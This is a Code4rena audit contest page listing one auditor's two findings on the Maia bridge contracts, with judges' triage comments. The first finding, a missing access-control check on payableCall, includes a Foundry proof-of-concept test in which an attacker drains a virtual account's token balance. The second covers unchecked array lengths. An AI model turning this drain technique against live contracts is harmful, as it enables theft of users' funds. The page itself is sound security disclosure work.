Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 132/175
Findings: 2
Award: $11.58
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
Function payableCall
within contract VirtualAccount.sol
does not have any access control and can be invoked by anyone. This function can be invoked without sending any ETH (i.e. msg.value = 0) so it will effectively behave as function call
. That way, the access control stablished by modifier requiresApprovedCaller
in function call
is bypassed.
By using payableCall
, an attacker can drain all of a user's funds.
Let's consider a virtual account which have some token balance. For convenience, we will use the test testMulticallSignedNoOutputDepositSingle
already defined in MulticallRootRouterTest.t.sol
. As can be seen, at the end of this test, the virtual account holds 50e18
of newAvaxAssetGlobalAddress
.
The following test can be added to MulticallRootRouterTest.t.sol
(IVirtualAccount.sol
needs to be imported to be able to use struct PayableCall
):
function testTransferAttack() public { address attacker = hevm.addr(123456); testMulticallSignedNoOutputDepositSingle(); PayableCall[] memory payablecallData = new PayableCall[](1); payablecallData[0] = PayableCall({ target: newAvaxAssetGlobalAddress, callData: abi.encodeWithSignature( "transfer(address,uint256)", attacker, MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount)), value: 0 }); hevm.startPrank(attacker); assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount), 50 ether); assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker), 0); rootPort.fetchVirtualAccount(address(this)).payableCall(payablecallData); assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount), 0); assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker), 50 ether); hevm.stopPrank(); }
Foundry
Add access control to function payableCall
Access Control
#0 - c4-pre-sort
2023-10-08T14:10:20Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:52:29Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:30:01Z
alcueca marked the issue as satisfactory
🌟 Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
11.4657 USDC - $11.47
In contract BaseBranchRouter.sol
, in function callOutAndBridgeMultiple
, the argument _dParams
is of the class DepositMultipleInput
which is a structure that consists of several arrays. Function callOutAndBridgeMultiple
invokes _transferAndApproveMultipleTokens
which contains a for loop that takes _hTokens.length
as the number of iterations of the loop:
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BaseBranchRouter.sol#L186-L199
If the other arrays have different lengths, the function would revert.
Check that the lengths of the different arrays match as done in other functions as in _createDepositMultiple
in contract BranchBridgeAgent.sol
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L860
#0 - c4-pre-sort
2023-10-15T08:49:52Z
0xA5DF marked the issue as sufficient quality report
#1 - c4-judge
2023-10-20T13:30:02Z
alcueca marked the issue as grade-b